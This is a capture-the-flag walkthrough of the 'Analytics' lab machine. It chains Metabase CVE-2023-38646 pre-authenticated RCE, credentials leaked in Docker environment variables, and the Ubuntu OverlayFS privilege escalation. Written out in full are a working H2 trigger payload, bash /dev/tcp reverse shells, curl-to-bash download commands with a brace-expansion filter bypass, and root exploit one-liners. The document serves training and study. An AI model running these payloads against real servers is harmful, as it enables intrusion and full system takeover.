Overview
Analytics is a Linux machine that demonstrates how a vulnerable Metabase instance can lead to pre-authenticated remote code execution, followed by credential discovery inside a Docker container and privilege escalation through a vulnerable Ubuntu OverlayFS kernel issue.
Attack Chain
- Enumerate exposed services and identify HTTP on port
80 - Discover the
analytical.htbwebsite anddata.analytical.htbMetabase virtual host - Identify Metabase version
0.46.6 - Extract the setup token from
/api/session/properties - Abuse
CVE-2023-38646for pre-authenticated RCE - Use brace expansion to execute a
curl-based reverse shell payload - Enumerate the Docker container environment and recover credentials
- SSH into the host as
metalytics - Identify Ubuntu
22.04 Jammyrunning kernel6.2.0-25-generic - Abuse the OverlayFS privilege escalation issue
- Spawn a root shell and read the root flag
Enumeration
Port Scanning
We start by defining the target and running a full TCP port scan to identify the exposed services.
export IP=10.129.229.224; export NAME=ANALYTICS; echo $IP; echo $NAME; ping $IP -c 1
nmap --min-rate 4500 --max-rtt-timeout 1500ms $IP -p- -v -oA scans/nmap_allports_$NAME
ports=$(cat scans/nmap_allports_$NAME.nmap | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); echo $ports
nmap $IP -p$ports -A -oA scans/nmap_initial_$NAME -v
The open TCP ports are:
22,80

Findings
The scan shows a small attack surface with only SSH (22) and HTTP (80) exposed. Since SSH usually requires credentials, the web service becomes the main focus for initial enumeration.
We add analytical.htb to /etc/hosts so the site resolves correctly.
echo "$IP analytical.htb" | sudo tee -a /etc/hosts
Web Enumeration
Main Website
Browsing to the web service reveals a landing page for a data analytics business.

The site also exposes a few potential names that may be useful later if we need to build a user list.

The identified names are:
Jonnhy Smith
Alex Kirigo
Daniel Walker
When selecting the login option, the application redirects to data.analytical.htb, so we add the new virtual host to /etc/hosts as well.
echo "$IP data.analytical.htb" | sudo tee -a /etc/hosts

The new virtual host presents a Metabase login page.

Metabase Version Discovery
To identify the Metabase version, we request the page source and grep for version-related strings.
curl -s http://data.analytical.htb | grep -i "version"
The output contains a lot of data, but near the end we find that the target is running Metabase 0.46.6.

This version is vulnerable to CVE-2023-38646, a pre-authenticated remote code execution issue that can be abused through the setup validation flow.
Foothold
Setup Token Discovery
The Metabase exploit path requires a setup token. This can be retrieved from the /api/session/properties endpoint.

The setup token is:
249fa03d-fd94-4d5b-b94f-b4ebf3df681f
The public research for CVE-2023-38646 shows that the vulnerable endpoint is /api/setup/validate, where the database connection string can be abused to execute commands through the H2 database engine.
The original request template includes a placeholder token and a base64-encoded payload.
POST /api/setup/validate HTTP/1.1
Host: localhost
Content-Type: application/json
Content-Length: 812
{
"token": "5491c003-41c2-482d-bab4-6e174aa1738c",
"details":
{
"is_on_demand": false,
"is_full_sync": false,
"is_sample": false,
"cache_ttl": null,
"refingerprint": false,
"auto_run_queries": true,
"schedules":
{},
"details":
{
"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEuMS4xLjEvOTk5OCAwPiYx}|{base64,-d}|{bash,-i}')\n$$--=x",
"advanced-options": false,
"ssl": true
},
"name": "an-sec-research-team",
"engine": "h2"
}
}
We need to update the token value with the setup token from the target and replace the payload with our own command.

Reverse Shell Payload
Before working with base64-encoded payloads, a simpler approach is tested. We create a small reverse shell script that can be hosted on the attacking machine.
echo -e '#!/bin/bash\nsh -i >& /dev/tcp/10.10.14.189/443 0>&1' > rev443.sh

A Python web server is started to host rev443.sh, and a penelope listener is started on port 443.
The first payload attempts to use curl to download the script and pipe it directly into bash.
bash -c curl 10.10.14.189/rev443.sh | bash
The updated request is sent through Burp Suite with the correct setup token.

This does not return a shell, so the payload is adjusted.
Brace Expansion Bypass
To avoid issues with spaces or filtering, we use Bash brace expansion. By wrapping the command and its argument in braces and replacing the space with a comma, Bash expands it back into a normal command before execution.
bash -c {curl,10.10.14.189/rev443.sh}|bash
The updated payload is sent through Burp Suite.

This time the hosted reverse shell script is requested successfully.

A reverse shell is received. The hostname and IP address show that the shell is running inside a container rather than directly on the host.

Lateral Movement
Container Environment Enumeration
From inside the container, we enumerate environment variables with env. This reveals credentials for the next stage.

The recovered credentials are:
metalytics:An4lytics_ds20223#
SSH as metalytics
The credentials are tested against SSH on the main target.

Authentication succeeds, giving us access to the host as metalytics.

The user flag can now be read.
cat user.txt

Privilege Escalation
Host Enumeration
After gaining access to the host, we check the kernel version.
uname -a
We also confirm the Ubuntu release.
lsb_release -a
The target is running Ubuntu 22.04 Jammy with kernel 6.2.0-25-generic.

This kernel version is affected by the Ubuntu OverlayFS privilege escalation issues tracked as CVE-2023-2640 and CVE-2023-32629.
OverlayFS Exploit
A public proof of concept is available for the OverlayFS issue. The exploit uses unshare, creates an overlay mount, sets capabilities on python3, and then uses Python to execute commands as root.

The copied exploit code contains two variants:
# original poc payload
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;
setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("id")'
# adjusted poc payload by twitter user; likely false positive
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;
setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*; u/python3 -c 'import os;os.setuid(0);os.system(\"id\")'"
We test the first payload.
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;
setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("id")'
The command executes id as root, confirming that the exploit works.

Root Shell
To turn this into an interactive shell, we first confirm the path to bash and then update the Python command to execute /usr/bin/bash.
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;
setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("/usr/bin/bash")'
Some errors are printed, but the exploit still succeeds and returns a root shell.

The root flag can now be read.
cat /root/root.txt

Key Takeaways
Analytics shows how a vulnerable web application can provide a foothold even without valid credentials. The Metabase setup token enabled pre-authenticated RCE, but the initial shell was isolated inside Docker. Environment variables then exposed reusable SSH credentials, and an unpatched Ubuntu kernel provided the final path to root through OverlayFS privilege escalation.